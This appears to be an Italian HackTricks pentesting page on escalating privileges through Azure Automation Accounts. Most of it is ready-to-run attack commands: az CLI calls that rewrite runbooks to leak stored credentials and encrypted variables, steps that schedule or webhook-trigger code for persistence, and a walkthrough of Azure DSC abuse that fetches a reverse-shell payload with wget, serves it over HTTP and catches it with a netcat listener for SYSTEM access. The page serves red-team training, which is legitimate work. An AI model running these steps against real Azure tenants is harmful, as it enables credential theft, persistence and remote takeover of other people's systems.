Az - Azure Automation Accounts Privesc

Reading time: 11 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Azure Automation Accounts

Per ulteriori informazioni controlla:

Az - Automation Accounts

Hybrid Workers Group

  • Dall'Automation Account alla VM

Ricorda che se in qualche modo un attaccante può eseguire un runbook arbitrario (codice arbitrario) in un hybrid worker, egli si sposterà verso la posizione della VM. Questa potrebbe essere una macchina on-premise, una VPC di un altro cloud o anche una VM di Azure.

Inoltre, se l'hybrid worker è in esecuzione in Azure con altre Managed Identities collegate, il runbook sarà in grado di accedere all'identità gestita del runbook e a tutte le identità gestite della VM dal servizio metadata.

tip

Ricorda che il servizio metadata ha un URL diverso (http://169.254.169.254) rispetto al servizio da cui ottenere il token delle identità gestite dell'automation account (IDENTITY_ENDPOINT).

  • Dalla VM all'Automation Account

Inoltre, se qualcuno compromette una VM in cui è in esecuzione uno script dell'automation account, sarà in grado di localizzare i metadati dell'Automation Account e accedervi dalla VM per ottenere token per le Managed Identities collegate all'Automation Account.

Come è possibile vedere nell'immagine seguente, avendo accesso da Amministratore sulla VM è possibile trovare nelle variabili d'ambiente del processo l'URL e il segreto per accedere al servizio metadata dell'automation account:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

In sintesi, queste autorizzazioni consentono di creare, modificare ed eseguire Runbooks nell'Automation Account che potresti utilizzare per eseguire codice nel contesto dell'Automation Account e aumentare i privilegi alle Managed Identities assegnate e rivelare credenziali e variabili criptate memorizzate nell'Automation Account.

L'autorizzazione Microsoft.Automation/automationAccounts/runbooks/draft/write consente di modificare il codice di un Runbook nell'Automation Account utilizzando:

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Nota come lo script precedente può essere utilizzato per leakare il nome utente e la password di una credenziale e il valore di una variabile crittografata memorizzata nell'Automation Account.

Il permesso Microsoft.Automation/automationAccounts/runbooks/publish/action consente all'utente di pubblicare un Runbook nell'Automation Account affinché le modifiche vengano applicate:

bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

Il permesso Microsoft.Automation/automationAccounts/jobs/write consente all'utente di eseguire un Runbook nell'Automation Account utilizzando:

bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

Il permesso Microsoft.Automation/automationAccounts/jobs/output/read consente all'utente di leggere l'output di un lavoro nell'Automation Account utilizzando:

bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Se non ci sono Runbook creati, o se desideri crearne uno nuovo, avrai bisogno delle autorizzazioni Microsoft.Resources/subscriptions/resourcegroups/read e Microsoft.Automation/automationAccounts/runbooks/write per farlo utilizzando:

bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Questa autorizzazione consente all'utente di assegnare un'identità gestita dall'utente all'Automation Account utilizzando:

bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Con il permesso Microsoft.Automation/automationAccounts/schedules/write è possibile creare un nuovo Programma nell'Account di Automazione che viene eseguito ogni 15 minuti (non molto furtivo) utilizzando il seguente comando.

Nota che l'intervallo minimo per un programma è di 15 minuti, e che il tempo di inizio minimo è di 5 minuti nel futuro.

bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Quindi, con il permesso Microsoft.Automation/automationAccounts/jobSchedules/write è possibile assegnare un Scheduler a un runbook utilizzando:

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

tip

Nell'esempio precedente, l'ID del jobchedule è stato lasciato come b510808a-8fdc-4509-a115-12cfc3a2ad0d come esempio ma dovrai utilizzare un valore arbitrario per creare questo assegnamento.

Microsoft.Automation/automationAccounts/webhooks/write

Con il permesso Microsoft.Automation/automationAccounts/webhooks/write è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account utilizzando il seguente comando.

bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Questo comando dovrebbe restituire un URI webhook che viene visualizzato solo al momento della creazione. Quindi, per chiamare il runbook utilizzando l'URI webhook

bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Con solo il permesso Microsoft.Automation/automationAccounts/runbooks/draft/write è possibile aggiornare il codice di un Runbook senza pubblicarlo ed eseguirlo utilizzando i seguenti comandi.

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Questa autorizzazione consente all'utente di configurare un controllo sorgente per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):

bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Questo importerà automaticamente i runbook dal repository Github all'Automation Account e con alcuni altri permessi per iniziare a eseguirli sarebbe possibile escalare i privilegi.

Inoltre, ricorda che per il controllo del codice sorgente per funzionare negli Automation Accounts deve avere un'identità gestita con il ruolo Contributor e se è un'identità gestita dall'utente, l'ID client della MI deve essere specificato nella variabile AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

tip

Nota che non è possibile cambiare l'URL del repo di un controllo del codice sorgente una volta creato.

Microsoft.Automation/automationAccounts/variables/write

Con il permesso Microsoft.Automation/automationAccounts/variables/write è possibile scrivere variabili nell'Automation Account utilizzando il seguente comando.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Ambienti di Esecuzione Personalizzati

Se un account di automazione utilizza un ambiente di esecuzione personalizzato, potrebbe essere possibile sovrascrivere un pacchetto personalizzato dell'ambiente con del codice malevolo (come una backdoor). In questo modo, ogni volta che un runbook che utilizza quell'ambiente personalizzato viene eseguito e carica il pacchetto personalizzato, il codice malevolo verrà eseguito.

Compromissione della Configurazione di Stato

Controlla il post completo in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Passo 1 — Creare File

File Richiesti: Sono necessari due script PowerShell:

  1. reverse_shell_config.ps1: Un file di Configurazione di Stato Desiderato (DSC) che recupera ed esegue il payload. È disponibile su GitHub.
  2. push_reverse_shell_config.ps1: Uno script per pubblicare la configurazione sulla VM, disponibile su GitHub.

Personalizzazione: Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload.

  • Passo 2 — Comprimere il File di Configurazione

Il reverse_shell_config.ps1 viene compresso in un file .zip, rendendolo pronto per il trasferimento all'Azure Storage Account.

bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Passo 3 — Imposta il contesto di archiviazione e carica

Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.

bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Passo 4 — Prepara Kali Box

Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.

bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell.

  • Step 5 — Pubblica il file di configurazione

Il file di configurazione viene eseguito, risultando nel deployment dello script della reverse shell nella posizione specificata sulla VM Windows.

  • Step 6 — Ospita il payload e imposta il listener

Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.

bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks